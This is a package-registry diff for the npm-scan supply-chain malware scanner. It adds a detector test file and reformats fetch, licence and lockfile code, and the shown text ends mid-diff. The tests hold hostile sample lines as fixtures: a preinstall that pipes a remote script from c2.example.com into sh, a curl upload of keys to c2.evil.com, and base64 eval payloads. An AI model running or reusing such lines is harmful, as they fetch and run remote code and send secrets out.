@lateos/npm-scan 0.18.3 → 1.1.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/CHANGELOG.md +32 -0
- package/README.md +864 -826
- package/VALIDATION.md +92 -0
- package/backend/cra.js +113 -21
- package/backend/db/pg-schema.sql +155 -0
- package/backend/db.js +18 -10
- package/backend/detectors/atk-001-lifecycle.js +5 -5
- package/backend/detectors/atk-002-obfusc.js +126 -47
- package/backend/detectors/atk-003-creds.js +8 -4
- package/backend/detectors/atk-004-persist.js +3 -3
- package/backend/detectors/atk-005-exfil.js +8 -4
- package/backend/detectors/atk-006-depconf.js +3 -3
- package/backend/detectors/atk-007-typosquat.js +64 -10
- package/backend/detectors/atk-008-tarball-tamper.js +6 -6
- package/backend/detectors/atk-009-dormant-trigger.js +9 -5
- package/backend/detectors/atk-010-sandbox-evasion.js +25 -10
- package/backend/detectors/atk-011-transitive-prop.js +14 -13
- package/backend/detectors/axios-poisoning/d1-version-fingerprint.js +4 -4
- package/backend/detectors/axios-poisoning/d2-decoy-dep.js +5 -1
- package/backend/detectors/axios-poisoning/d3-postinstall-rat.js +64 -19
- package/backend/detectors/axios-poisoning/index.js +77 -60
- package/backend/detectors/config/thresholds.js +111 -0
- package/backend/detectors/config/whitelist.json +74 -0
- package/backend/detectors/cve-2026-48710-badhost/codePattern.js +26 -9
- package/backend/detectors/cve-2026-48710-badhost/findings.js +8 -4
- package/backend/detectors/cve-2026-48710-badhost/index.js +1 -1
- package/backend/detectors/cve-2026-48710-badhost/manifest.js +127 -39
- package/backend/detectors/cve-2026-48710-badhost/transitive.js +87 -28
- package/backend/detectors/hf-impersonation/index.js +94 -31
- package/backend/detectors/hf-impersonation/jaro-winkler.js +33 -12
- package/backend/detectors/hf-impersonation/known-orgs.js +15 -3
- package/backend/detectors/hf-impersonation/simhash.js +2 -2
- package/backend/detectors/index.js +184 -31
- package/backend/detectors/lib/ast-patterns.js +24 -0
- package/backend/detectors/lib/entropy-analyzer.js +32 -0
- package/backend/detectors/megalodon/d1-workflow-scan.js +40 -16
- package/backend/detectors/megalodon/d2-credential-harvest.js +12 -5
- package/backend/detectors/megalodon/d3-publish-velocity.js +17 -11
- package/backend/detectors/megalodon/d4-publisher-drift.js +48 -16
- package/backend/detectors/megalodon/d5-bot-commit-identity.js +1 -1
- package/backend/detectors/megalodon/d6-date-anachronism.js +1 -1
- package/backend/detectors/megalodon/index.js +35 -25
- package/backend/detectors/mini-shai-hulud/d1-burst-publish.js +3 -1
- package/backend/detectors/mini-shai-hulud/d2-sibling-compromise.js +22 -10
- package/backend/detectors/mini-shai-hulud/d3-slsa-mismatch.js +30 -10
- package/backend/detectors/mini-shai-hulud/d4-maintainer-anomaly.js +17 -13
- package/backend/detectors/mini-shai-hulud/d5-ioc-check.js +12 -4
- package/backend/detectors/mini-shai-hulud/d6-token-exfil.js +6 -2
- package/backend/detectors/mini-shai-hulud/index.js +63 -26
- package/backend/detectors/msh-supplement/d2-persistence.js +30 -12
- package/backend/detectors/msh-supplement/d3-geo-killswitch.js +20 -8
- package/backend/detectors/msh-supplement/d4-c2-deaddrop.js +19 -5
- package/backend/detectors/msh-supplement/index.js +78 -63
- package/backend/detectors/node-ipc-compromise/d1-version-blocklist.js +4 -2
- package/backend/detectors/node-ipc-compromise/d10-unauthorized-publisher.js +9 -5
- package/backend/detectors/node-ipc-compromise/d11-blast-radius.js +7 -3
- package/backend/detectors/node-ipc-compromise/d2-tarball-hash.js +9 -4
- package/backend/detectors/node-ipc-compromise/d3-cjs-payload-injection.js +7 -5
- package/backend/detectors/node-ipc-compromise/d4-injected-payload-hash.js +4 -2
- package/backend/detectors/node-ipc-compromise/d5-dns-c2-pattern.js +13 -10
- package/backend/detectors/node-ipc-compromise/d7-dns-txt-exfil.js +3 -1
- package/backend/detectors/node-ipc-compromise/d8-runtime-trigger.js +5 -2
- package/backend/detectors/node-ipc-compromise/index.js +21 -15
- package/backend/detectors/tier1-binary-embed.js +138 -41
- package/backend/detectors/tier1-cloud-imds.js +57 -37
- package/backend/detectors/tier1-encrypted-c2.js +198 -0
- package/backend/detectors/tier1-infostealer.js +121 -68
- package/backend/detectors/tier1-lifecycle-hook.js +63 -23
- package/backend/detectors/tier1-maintainer-compromise.js +157 -0
- package/backend/detectors/tier1-metadata-spoof.js +92 -42
- package/backend/detectors/tier1-multistage-postinstall.js +46 -19
- package/backend/detectors/tier1-obfuscation-heuristics.js +184 -0
- package/backend/detectors/tier1-self-propagation.js +115 -0
- package/backend/detectors/tier1-slsa-attestation.js +12 -0
- package/backend/detectors/tier1-transitive-deps.js +182 -0
- package/backend/detectors/tier1-typosquat.js +129 -50
- package/backend/detectors/tier1-version-anomaly.js +223 -0
- package/backend/detectors/tier1-version-confusion.js +79 -59
- package/backend/detectors/trapdoor/d1-campaign-marker.js +3 -1
- package/backend/detectors/trapdoor/d2-payload-fingerprint.js +1 -1
- package/backend/detectors/trapdoor/d3-publisher-blocklist.js +4 -3
- package/backend/detectors/trapdoor/d4-gists-exfil.js +4 -2
- package/backend/detectors/trapdoor/d5-ai-poisoning.js +5 -3
- package/backend/detectors/trapdoor/d6-lure-name.js +12 -7
- package/backend/detectors/trapdoor/d7-crypto-primitives.js +2 -2
- package/backend/detectors/trapdoor/d8-xor-key.js +7 -2
- package/backend/detectors/trapdoor/d9-cred-validation.js +4 -5
- package/backend/detectors/trapdoor/index.js +19 -14
- package/backend/detectors/typosquat-vpmdhaj/d1-maintainer.js +32 -8
- package/backend/detectors/typosquat-vpmdhaj/d2-preinstall-loader.js +5 -3
- package/backend/detectors/typosquat-vpmdhaj/d3-cred-exfil.js +34 -12
- package/backend/detectors/typosquat-vpmdhaj/index.js +78 -59
- package/backend/detectors.test.js +147 -0
- package/backend/fetch.js +37 -29
- package/backend/index.js +1 -1
- package/backend/license.js +20 -4
- package/backend/lockfile.js +60 -36
- package/backend/pdf.js +107 -28
- package/backend/policy.js +183 -56
- package/backend/provenance.js +28 -3
- package/backend/report.js +136 -70
- package/backend/sbom.js +33 -27
- package/backend/scripts/analyze-false-positives.js +152 -0
- package/backend/scripts/analyze-validation.js +157 -0
- package/backend/scripts/detect-false-positives.js +103 -0
- package/backend/scripts/fetch-top-packages.js +277 -0
- package/backend/scripts/validate-d10-d13.js +103 -0
- package/backend/scripts/validate-detectors.js +151 -0
- package/backend/siem/cef.js +23 -21
- package/backend/siem/ecs.js +3 -3
- package/backend/siem/index.js +1 -1
- package/backend/siem/qradar.js +3 -3
- package/backend/siem/sentinel.js +2 -2
- package/backend/tests-d5-enhanced.test.js +47 -0
- package/backend/tests-d6-version-anomaly.test.js +67 -0
- package/backend/tests-d6.test.js +126 -0
- package/backend/tests-d6c.test.js +119 -0
- package/backend/tests-d7-obfuscation.test.js +88 -0
- package/backend/tests.test.js +997 -0
- package/backend/vsix-scan/detectors/activation-event-risk.js +36 -19
- package/backend/vsix-scan/detectors/burst-publish.js +14 -7
- package/backend/vsix-scan/detectors/exfil-pattern.js +7 -3
- package/backend/vsix-scan/detectors/known-ioc.js +23 -8
- package/backend/vsix-scan/detectors/orphan-commit-fetch.js +11 -7
- package/backend/vsix-scan/detectors/publisher-anomaly.js +24 -10
- package/backend/vsix-scan/index.js +97 -41
- package/backend/vsix-scan/marketplace-client.js +29 -13
- package/cli/cli.js +154 -64
- package/package.json +36 -10
- package/.dockerignore +0 -20
- package/.husky/pre-commit +0 -1
- package/SECURITY.md +0 -73
- package/deploy/helm/npm-scan/Chart.yaml +0 -22
- package/deploy/helm/npm-scan/templates/_helpers.tpl +0 -9
- package/deploy/helm/npm-scan/templates/api.yaml +0 -94
- package/deploy/helm/npm-scan/templates/ingress.yaml +0 -28
- package/deploy/helm/npm-scan/templates/postgresql.yaml +0 -67
- package/deploy/helm/npm-scan/templates/secrets.yaml +0 -19
- package/deploy/helm/npm-scan/templates/worker.yaml +0 -32
- package/deploy/helm/npm-scan/values.byoc.yaml +0 -75
- package/deploy/helm/npm-scan/values.yaml +0 -103
- package/scripts/download-corpus.js +0 -30
- package/scripts/gen-mal-corpus.js +0 -35
- package/scripts/generate-campaign-fixtures.js +0 -170
- package/src/config/top-5000.json +0 -87
- package/test/fixtures/lockfiles/npm-lock.json +0 -69
- package/test/fixtures/lockfiles/pnpm-lock.yaml +0 -118
- package/test/fixtures/lockfiles/yarn.lock +0 -104
- package/test/fixtures/mock-data.js +0 -69
|
@@ -0,0 +1,147 @@
|
|
|
1
|
+
import { test } from 'node:test';
|
|
2
|
+
import assert from 'assert/strict';
|
|
3
|
+
import * as detectors from './detectors/index.js';
|
|
4
|
+
|
|
5
|
+
test('detectors runAll empty', async () => {
|
|
6
|
+
const findings = await detectors.runAll({});
|
|
7
|
+
assert.equal(findings.length, 0);
|
|
8
|
+
});
|
|
9
|
+
|
|
10
|
+
test('ATK-001 detects preinstall', async () => {
|
|
11
|
+
const pkg = { scripts: { preinstall: 'curl http://c2.example.com/x.sh | sh' } };
|
|
12
|
+
const findings = await detectors.runAll(pkg);
|
|
13
|
+
assert(
|
|
14
|
+
findings.some((f) => f.id === 'ATK-001'),
|
|
15
|
+
'Expected ATK-001'
|
|
16
|
+
);
|
|
17
|
+
});
|
|
18
|
+
|
|
19
|
+
test('ATK-002 detects eval+decode', async () => {
|
|
20
|
+
const files = [{ path: 'i.js', content: 'eval(atob("Y3VybCBodHRwOi8vYzIuZXZpbC5jb20="))' }];
|
|
21
|
+
const findings = await detectors.runAll({}, files);
|
|
22
|
+
assert(
|
|
23
|
+
findings.some((f) => f.id === 'ATK-002'),
|
|
24
|
+
'Expected ATK-002'
|
|
25
|
+
);
|
|
26
|
+
});
|
|
27
|
+
|
|
28
|
+
test('ATK-003 detects cred env vars', async () => {
|
|
29
|
+
const files = [{ path: 'i.js', content: 'console.log(process.env.NPM_TOKEN)' }];
|
|
30
|
+
const findings = await detectors.runAll({}, files);
|
|
31
|
+
assert(
|
|
32
|
+
findings.some((f) => f.id === 'ATK-003'),
|
|
33
|
+
'Expected ATK-003'
|
|
34
|
+
);
|
|
35
|
+
});
|
|
36
|
+
|
|
37
|
+
test('ATK-004 detects editor persistence', async () => {
|
|
38
|
+
const files = [{ path: 'i.js', content: 'fs.mkdirSync(".vscode")' }];
|
|
39
|
+
const findings = await detectors.runAll({}, files);
|
|
40
|
+
assert(
|
|
41
|
+
findings.some((f) => f.id === 'ATK-004'),
|
|
42
|
+
'Expected ATK-004'
|
|
43
|
+
);
|
|
44
|
+
});
|
|
45
|
+
|
|
46
|
+
test('ATK-005 detects network exfil', async () => {
|
|
47
|
+
const files = [{ path: 'i.js', content: 'curl --data-binary @keys http://c2.evil.com' }];
|
|
48
|
+
const findings = await detectors.runAll({}, files);
|
|
49
|
+
assert(
|
|
50
|
+
findings.some((f) => f.id === 'ATK-005'),
|
|
51
|
+
'Expected ATK-005'
|
|
52
|
+
);
|
|
53
|
+
});
|
|
54
|
+
|
|
55
|
+
test('ATK-006 detects dep confusion', async () => {
|
|
56
|
+
const pkg = { dependencies: { 'acorn-squatter': '1.0.0' } };
|
|
57
|
+
const findings = await detectors.runAll(pkg);
|
|
58
|
+
assert(
|
|
59
|
+
findings.some((f) => f.id === 'ATK-006'),
|
|
60
|
+
'Expected ATK-006'
|
|
61
|
+
);
|
|
62
|
+
});
|
|
63
|
+
|
|
64
|
+
test('ATK-007 detects typosquatting', async () => {
|
|
65
|
+
const pkg = { dependencies: { lodash: 'latest', loddsh: '1.0.0' } };
|
|
66
|
+
const findings = await detectors.runAll(pkg);
|
|
67
|
+
assert(
|
|
68
|
+
findings.some((f) => f.id === 'ATK-007'),
|
|
69
|
+
'Expected ATK-007 for loddsh'
|
|
70
|
+
);
|
|
71
|
+
});
|
|
72
|
+
|
|
73
|
+
test('ATK-008 detects tarball tampering', async () => {
|
|
74
|
+
const pkg = {
|
|
75
|
+
name: 'lodash',
|
|
76
|
+
repository: { url: 'https://github.com/attacker/lodash-evil.git' },
|
|
77
|
+
};
|
|
78
|
+
const findings = await detectors.runAll(pkg);
|
|
79
|
+
assert(
|
|
80
|
+
findings.some((f) => f.id === 'ATK-008'),
|
|
81
|
+
'Expected ATK-008'
|
|
82
|
+
);
|
|
83
|
+
});
|
|
84
|
+
|
|
85
|
+
test('ATK-009 detects CI env trigger', async () => {
|
|
86
|
+
const files = [{ path: 'i.js', content: 'if (process.env.CI) { eval(atob("ZXZpbA==")) }' }];
|
|
87
|
+
const findings = await detectors.runAll({}, files);
|
|
88
|
+
assert(
|
|
89
|
+
findings.some((f) => f.id === 'ATK-009'),
|
|
90
|
+
'Expected ATK-009'
|
|
91
|
+
);
|
|
92
|
+
});
|
|
93
|
+
|
|
94
|
+
test('ATK-010 detects sandbox evasion', async () => {
|
|
95
|
+
const files = [
|
|
96
|
+
{ path: 'i.js', content: 'if (os.hostname().includes("sandbox")) { process.exit(0) }' },
|
|
97
|
+
];
|
|
98
|
+
const findings = await detectors.runAll({}, files);
|
|
99
|
+
assert(
|
|
100
|
+
findings.some((f) => f.id === 'ATK-010'),
|
|
101
|
+
'Expected ATK-010'
|
|
102
|
+
);
|
|
103
|
+
});
|
|
104
|
+
|
|
105
|
+
test('ATK-011 detects transitive propagation', async () => {
|
|
106
|
+
const files = [{ path: 'i.js', content: 'exec("npm install ./malicious-pkg")' }];
|
|
107
|
+
const findings = await detectors.runAll({}, files);
|
|
108
|
+
assert(
|
|
109
|
+
findings.some((f) => f.id === 'ATK-011'),
|
|
110
|
+
'Expected ATK-011'
|
|
111
|
+
);
|
|
112
|
+
});
|
|
113
|
+
|
|
114
|
+
test('no false positives on clean package', async () => {
|
|
115
|
+
const pkg = {
|
|
116
|
+
name: 'test-pkg',
|
|
117
|
+
version: '1.0.0',
|
|
118
|
+
scripts: { test: 'node test.js' },
|
|
119
|
+
dependencies: { express: '4.0.0' },
|
|
120
|
+
};
|
|
121
|
+
const files = [{ path: 'index.js', content: 'module.exports = function() { return 42 }' }];
|
|
122
|
+
const findings = await detectors.runAll(pkg, files);
|
|
123
|
+
const highCrit = findings.filter((f) => f.severity === 'high' || f.severity === 'critical');
|
|
124
|
+
assert.equal(
|
|
125
|
+
highCrit.length,
|
|
126
|
+
0,
|
|
127
|
+
`Expected no high/crit findings on clean pkg: ${JSON.stringify(highCrit)}`
|
|
128
|
+
);
|
|
129
|
+
});
|
|
130
|
+
|
|
131
|
+
test('all 11 ATK IDs present', async () => {
|
|
132
|
+
const _expected = [
|
|
133
|
+
'ATK-001',
|
|
134
|
+
'ATK-002',
|
|
135
|
+
'ATK-003',
|
|
136
|
+
'ATK-004',
|
|
137
|
+
'ATK-005',
|
|
138
|
+
'ATK-006',
|
|
139
|
+
'ATK-007',
|
|
140
|
+
'ATK-008',
|
|
141
|
+
'ATK-009',
|
|
142
|
+
'ATK-010',
|
|
143
|
+
'ATK-011',
|
|
144
|
+
];
|
|
145
|
+
const exports = Object.keys(detectors);
|
|
146
|
+
assert.equal(exports.includes('runAll'), true);
|
|
147
|
+
});
|
package/backend/fetch.js
CHANGED
|
@@ -9,19 +9,23 @@ import { pipeline } from 'stream/promises';
|
|
|
9
9
|
export async function fetchPackage(target, options = {}) {
|
|
10
10
|
const { cacheDir, cacheTTL = 604800, cacheMaxSize = 1000000000 } = options;
|
|
11
11
|
let name, version;
|
|
12
|
-
|
|
12
|
+
|
|
13
13
|
if (target.startsWith('@')) {
|
|
14
14
|
const lastAt = target.lastIndexOf('@');
|
|
15
15
|
name = target.slice(0, lastAt);
|
|
16
16
|
version = target.slice(lastAt + 1);
|
|
17
|
-
if (!version)
|
|
17
|
+
if (!version) {
|
|
18
|
+
version = undefined;
|
|
19
|
+
}
|
|
18
20
|
} else {
|
|
19
21
|
const idx = target.indexOf('@');
|
|
20
22
|
name = idx > -1 ? target.slice(0, idx) : target;
|
|
21
23
|
version = idx > -1 ? target.slice(idx + 1) : undefined;
|
|
22
24
|
}
|
|
23
|
-
|
|
24
|
-
const endpoint = version
|
|
25
|
+
|
|
26
|
+
const endpoint = version
|
|
27
|
+
? `/${encodeURIComponent(name)}/${version}`
|
|
28
|
+
: `/${encodeURIComponent(name)}/latest`;
|
|
25
29
|
|
|
26
30
|
if (cacheDir) {
|
|
27
31
|
const cached = getFromCache(cacheDir, target, cacheTTL);
|
|
@@ -41,7 +45,9 @@ export async function fetchPackage(target, options = {}) {
|
|
|
41
45
|
const tarUrl = meta.dist.tarball;
|
|
42
46
|
const tarRes = await fetch(tarUrl);
|
|
43
47
|
const buffer = Buffer.from(await tarRes.arrayBuffer());
|
|
44
|
-
if (buffer.length > 500 * 1024 * 1024)
|
|
48
|
+
if (buffer.length > 500 * 1024 * 1024) {
|
|
49
|
+
throw new Error('Tarball too large');
|
|
50
|
+
}
|
|
45
51
|
|
|
46
52
|
// Save to cache if enabled
|
|
47
53
|
if (cacheDir) {
|
|
@@ -55,19 +61,21 @@ export async function fetchPackage(target, options = {}) {
|
|
|
55
61
|
function getFromCache(cacheDir, target, ttl) {
|
|
56
62
|
const cachePath = path.join(cacheDir, `${target.replace('/', '-')}.tgz`);
|
|
57
63
|
const metaPath = path.join(cacheDir, `${target.replace('/', '-')}.meta.json`);
|
|
58
|
-
|
|
64
|
+
|
|
59
65
|
try {
|
|
60
|
-
if (!fs.existsSync(cachePath) || !fs.existsSync(metaPath))
|
|
61
|
-
|
|
66
|
+
if (!fs.existsSync(cachePath) || !fs.existsSync(metaPath)) {
|
|
67
|
+
return null;
|
|
68
|
+
}
|
|
69
|
+
|
|
62
70
|
const meta = JSON.parse(fs.readFileSync(metaPath, 'utf8'));
|
|
63
71
|
const age = (Date.now() - meta.timestamp) / 1000;
|
|
64
|
-
|
|
72
|
+
|
|
65
73
|
if (age > ttl) {
|
|
66
74
|
fs.unlinkSync(cachePath);
|
|
67
75
|
fs.unlinkSync(metaPath);
|
|
68
76
|
return null;
|
|
69
77
|
}
|
|
70
|
-
|
|
78
|
+
|
|
71
79
|
return fs.readFileSync(cachePath);
|
|
72
80
|
} catch {
|
|
73
81
|
return null;
|
|
@@ -79,27 +87,27 @@ function saveToCache(cacheDir, target, buffer, ttl, maxSize) {
|
|
|
79
87
|
if (!fs.existsSync(cacheDir)) {
|
|
80
88
|
fs.mkdirSync(cacheDir, { recursive: true });
|
|
81
89
|
}
|
|
82
|
-
|
|
90
|
+
|
|
83
91
|
// Prune if needed
|
|
84
92
|
pruneCache(cacheDir, maxSize);
|
|
85
|
-
|
|
93
|
+
|
|
86
94
|
const safeName = target.replace('/', '-');
|
|
87
95
|
const cachePath = path.join(cacheDir, `${safeName}.tgz`);
|
|
88
96
|
const metaPath = path.join(cacheDir, `${safeName}.meta.json`);
|
|
89
|
-
|
|
97
|
+
|
|
90
98
|
fs.writeFileSync(cachePath, buffer);
|
|
91
99
|
fs.writeFileSync(metaPath, JSON.stringify({ timestamp: Date.now(), size: buffer.length }));
|
|
92
|
-
} catch
|
|
100
|
+
} catch {
|
|
93
101
|
// Cache write failure - continue without caching
|
|
94
102
|
}
|
|
95
103
|
}
|
|
96
104
|
|
|
97
105
|
function pruneCache(cacheDir, maxSize) {
|
|
98
106
|
try {
|
|
99
|
-
const files = fs.readdirSync(cacheDir).filter(f => f.endsWith('.meta.json'));
|
|
107
|
+
const files = fs.readdirSync(cacheDir).filter((f) => f.endsWith('.meta.json'));
|
|
100
108
|
let totalSize = 0;
|
|
101
109
|
const fileInfos = [];
|
|
102
|
-
|
|
110
|
+
|
|
103
111
|
for (const f of files) {
|
|
104
112
|
const meta = JSON.parse(fs.readFileSync(path.join(cacheDir, f), 'utf8'));
|
|
105
113
|
const tarFile = f.replace('.meta.json', '.tgz');
|
|
@@ -107,17 +115,21 @@ function pruneCache(cacheDir, maxSize) {
|
|
|
107
115
|
totalSize += size;
|
|
108
116
|
fileInfos.push({ tarFile, metaFile: f, timestamp: meta.timestamp, size });
|
|
109
117
|
}
|
|
110
|
-
|
|
118
|
+
|
|
111
119
|
if (totalSize > maxSize) {
|
|
112
120
|
// Sort by oldest first and remove until under limit
|
|
113
121
|
fileInfos.sort((a, b) => a.timestamp - b.timestamp);
|
|
114
122
|
for (const info of fileInfos) {
|
|
115
|
-
if (totalSize <= maxSize * 0.8)
|
|
123
|
+
if (totalSize <= maxSize * 0.8) {
|
|
124
|
+
break;
|
|
125
|
+
} // Leave 20% margin
|
|
116
126
|
try {
|
|
117
127
|
fs.unlinkSync(path.join(cacheDir, info.tarFile));
|
|
118
128
|
fs.unlinkSync(path.join(cacheDir, info.metaFile));
|
|
119
129
|
totalSize -= info.size;
|
|
120
|
-
} catch {
|
|
130
|
+
} catch {
|
|
131
|
+
/* ignore file errors */
|
|
132
|
+
}
|
|
121
133
|
}
|
|
122
134
|
}
|
|
123
135
|
} catch {
|
|
@@ -135,24 +147,20 @@ async function extractTarball(buffer, tmpDir) {
|
|
|
135
147
|
fs.mkdirSync(tmpDir, { recursive: true });
|
|
136
148
|
|
|
137
149
|
const stream = Readable.from(buffer);
|
|
138
|
-
await pipeline(
|
|
139
|
-
stream,
|
|
140
|
-
zlib.createGunzip(),
|
|
141
|
-
extract({ cwd: tmpDir, strip: 1 })
|
|
142
|
-
);
|
|
150
|
+
await pipeline(stream, zlib.createGunzip(), extract({ cwd: tmpDir, strip: 1 }));
|
|
143
151
|
|
|
144
152
|
const pkgPath = path.join(tmpDir, 'package.json');
|
|
145
153
|
const pkgJsonStr = fs.readFileSync(pkgPath, 'utf8');
|
|
146
154
|
const pkgJson = JSON.parse(pkgJsonStr);
|
|
147
155
|
|
|
148
|
-
const jsFiles = walkFiles(tmpDir, '.js').map(p => ({
|
|
156
|
+
const jsFiles = walkFiles(tmpDir, '.js').map((p) => ({
|
|
149
157
|
path: p,
|
|
150
|
-
content: fs.readFileSync(p, 'utf8')
|
|
158
|
+
content: fs.readFileSync(p, 'utf8'),
|
|
151
159
|
}));
|
|
152
160
|
|
|
153
|
-
const allFiles = walkFiles(tmpDir, '').map(p => ({
|
|
161
|
+
const allFiles = walkFiles(tmpDir, '').map((p) => ({
|
|
154
162
|
path: p,
|
|
155
|
-
content: fs.readFileSync(p, 'utf8')
|
|
163
|
+
content: fs.readFileSync(p, 'utf8'),
|
|
156
164
|
}));
|
|
157
165
|
|
|
158
166
|
return { pkgJson, jsFiles, allFiles, tmpDir };
|
|
@@ -173,4 +181,4 @@ function walkFiles(dir, ext) {
|
|
|
173
181
|
|
|
174
182
|
export function cleanup(tmpDir) {
|
|
175
183
|
fs.rmSync(tmpDir, { recursive: true, force: true });
|
|
176
|
-
}
|
|
184
|
+
}
|
package/backend/index.js
CHANGED
package/backend/license.js
CHANGED
|
@@ -5,7 +5,19 @@ const HMAC_KEY = process.env.NPM_SCAN_LICENSE_SECRET || 'npm-scan-default-dev-ke
|
|
|
5
5
|
const FEATURE_TIERS = {
|
|
6
6
|
community: [],
|
|
7
7
|
premium: ['sandbox', 'siem', 'cra', 'nist-pdf', 'rest-api', 'webhooks', 'helm'],
|
|
8
|
-
enterprise: [
|
|
8
|
+
enterprise: [
|
|
9
|
+
'sandbox',
|
|
10
|
+
'siem',
|
|
11
|
+
'cra',
|
|
12
|
+
'nist-pdf',
|
|
13
|
+
'rest-api',
|
|
14
|
+
'webhooks',
|
|
15
|
+
'helm',
|
|
16
|
+
'sso',
|
|
17
|
+
'audit-logs',
|
|
18
|
+
'pg-backend',
|
|
19
|
+
'kubernetes',
|
|
20
|
+
],
|
|
9
21
|
};
|
|
10
22
|
|
|
11
23
|
const ALL_FEATURES = Object.values(FEATURE_TIERS).flat();
|
|
@@ -70,7 +82,9 @@ export function validateLicense(key, feature = '*') {
|
|
|
70
82
|
}
|
|
71
83
|
|
|
72
84
|
if (feature !== '*' && !allowed.includes(feature) && !ALLOWED_UNLOCKED.includes(feature)) {
|
|
73
|
-
throw new Error(
|
|
85
|
+
throw new Error(
|
|
86
|
+
`Feature "${feature}" requires ${edition === 'community' ? 'premium' : 'enterprise'} license`
|
|
87
|
+
);
|
|
74
88
|
}
|
|
75
89
|
|
|
76
90
|
return { edition, features: allowed, ...payload };
|
|
@@ -80,11 +94,13 @@ export function isFeatureEnabled(feature, licenseKey = process.env.NPM_SCAN_LICE
|
|
|
80
94
|
try {
|
|
81
95
|
if (!licenseKey) {
|
|
82
96
|
const unlocked = feature === 'scan' || ALLOWED_UNLOCKED.includes(feature);
|
|
83
|
-
if (unlocked)
|
|
97
|
+
if (unlocked) {
|
|
98
|
+
return true;
|
|
99
|
+
}
|
|
84
100
|
}
|
|
85
101
|
validateLicense(licenseKey, feature);
|
|
86
102
|
return true;
|
|
87
103
|
} catch {
|
|
88
104
|
return false;
|
|
89
105
|
}
|
|
90
|
-
}
|
|
106
|
+
}
|
package/backend/lockfile.js
CHANGED
|
@@ -1,5 +1,5 @@
|
|
|
1
1
|
import { readFileSync } from 'fs';
|
|
2
|
-
import { resolve, dirname } from 'path';
|
|
2
|
+
import { resolve as _resolve, dirname as _dirname } from 'path';
|
|
3
3
|
import yaml from 'js-yaml';
|
|
4
4
|
|
|
5
5
|
export function parseLockfile(filePath, options = {}) {
|
|
@@ -32,17 +32,19 @@ export function parseLockfile(filePath, options = {}) {
|
|
|
32
32
|
|
|
33
33
|
return parseNpmLockfile(content, filePath);
|
|
34
34
|
} catch (e) {
|
|
35
|
-
throw new Error(`Failed to parse lockfile: ${e.message}
|
|
35
|
+
throw new Error(`Failed to parse lockfile: ${e.message}`, { cause: e });
|
|
36
36
|
}
|
|
37
37
|
}
|
|
38
38
|
|
|
39
|
-
function parseNpmLockfile(content,
|
|
39
|
+
function parseNpmLockfile(content, _filePath) {
|
|
40
40
|
const lockfile = JSON.parse(content);
|
|
41
41
|
const packages = [];
|
|
42
42
|
|
|
43
43
|
if (lockfile.packages) {
|
|
44
44
|
for (const [key, pkg] of Object.entries(lockfile.packages)) {
|
|
45
|
-
if (key === '')
|
|
45
|
+
if (key === '') {
|
|
46
|
+
continue;
|
|
47
|
+
}
|
|
46
48
|
const name = pkg.name || key.replace(/^node_modules\//, '').replace(/^[^/]+\//, '');
|
|
47
49
|
packages.push({
|
|
48
50
|
name,
|
|
@@ -54,7 +56,7 @@ function parseNpmLockfile(content, filePath) {
|
|
|
54
56
|
dev: pkg.dev || false,
|
|
55
57
|
optional: pkg.optional || false,
|
|
56
58
|
scripts: pkg.scripts || {},
|
|
57
|
-
dependencies: pkg.dependencies || {}
|
|
59
|
+
dependencies: pkg.dependencies || {},
|
|
58
60
|
});
|
|
59
61
|
}
|
|
60
62
|
}
|
|
@@ -68,22 +70,23 @@ function parseNpmLockfile(content, filePath) {
|
|
|
68
70
|
version: rootDeps.version || 'unknown',
|
|
69
71
|
dependencies: rootDeps.dependencies || {},
|
|
70
72
|
devDependencies: rootDeps.devDependencies || {},
|
|
71
|
-
peerDependencies: rootDeps.peerDependencies || {}
|
|
72
|
-
}
|
|
73
|
+
peerDependencies: rootDeps.peerDependencies || {},
|
|
74
|
+
},
|
|
73
75
|
};
|
|
74
76
|
}
|
|
75
77
|
|
|
76
|
-
function parseYarnLockfile(content,
|
|
78
|
+
function parseYarnLockfile(content, _filePath) {
|
|
77
79
|
const packages = [];
|
|
78
80
|
const lines = content.split('\n');
|
|
79
81
|
let i = 0;
|
|
80
82
|
const n = lines.length;
|
|
81
83
|
|
|
82
|
-
const MULTI_ENTRY_RE =
|
|
84
|
+
const MULTI_ENTRY_RE =
|
|
85
|
+
/^"?([\w@./-]+)@(\^?[\w.+\-~]+)"?\s*,\s*"?([\w@./-]+)@(\^?[\w.+\-~]+)"?\s*:\s*$/;
|
|
83
86
|
const SINGLE_ENTRY_RE = /^"?([\w@./-]+)@(\^?[\w.+\-~]+)"?\s*:\s*$/;
|
|
84
87
|
|
|
85
88
|
while (i < n) {
|
|
86
|
-
|
|
89
|
+
const line = lines[i].trimEnd();
|
|
87
90
|
|
|
88
91
|
let specs = [];
|
|
89
92
|
|
|
@@ -93,7 +96,7 @@ function parseYarnLockfile(content, filePath) {
|
|
|
93
96
|
if (multiMatch) {
|
|
94
97
|
specs = [
|
|
95
98
|
{ name: multiMatch[1], specVersion: multiMatch[2] },
|
|
96
|
-
{ name: multiMatch[3], specVersion: multiMatch[4] }
|
|
99
|
+
{ name: multiMatch[3], specVersion: multiMatch[4] },
|
|
97
100
|
];
|
|
98
101
|
} else if (singleMatch) {
|
|
99
102
|
specs = [{ name: singleMatch[1], specVersion: singleMatch[2] }];
|
|
@@ -125,26 +128,37 @@ function parseYarnLockfile(content, filePath) {
|
|
|
125
128
|
|
|
126
129
|
if (bodyTrim.startsWith('version ')) {
|
|
127
130
|
const vMatch = bodyTrim.match(/^version ['"]([^'"]+)['"]/);
|
|
128
|
-
if (vMatch)
|
|
131
|
+
if (vMatch) {
|
|
132
|
+
version = vMatch[1];
|
|
133
|
+
}
|
|
129
134
|
} else if (bodyTrim.match(/^\s*resolved\s+(.+)/)) {
|
|
130
135
|
const rMatch = bodyTrim.match(/^\s*resolved\s+(.+)/);
|
|
131
136
|
if (rMatch) {
|
|
132
137
|
resolved = rMatch[1].trim().replace(/^['"]|['"]$/g, '');
|
|
133
138
|
if (resolved.startsWith('https://registry.yarnpkg.com/')) {
|
|
134
|
-
resolved = resolved.replace(
|
|
139
|
+
resolved = resolved.replace(
|
|
140
|
+
'https://registry.yarnpkg.com/',
|
|
141
|
+
'https://registry.npmjs.org/'
|
|
142
|
+
);
|
|
135
143
|
}
|
|
136
144
|
}
|
|
137
145
|
} else if (bodyTrim.startsWith('integrity ')) {
|
|
138
146
|
integrity = bodyTrim.replace('integrity ', '').trim();
|
|
139
147
|
} else if (bodyTrim.startsWith('dependencies')) {
|
|
140
148
|
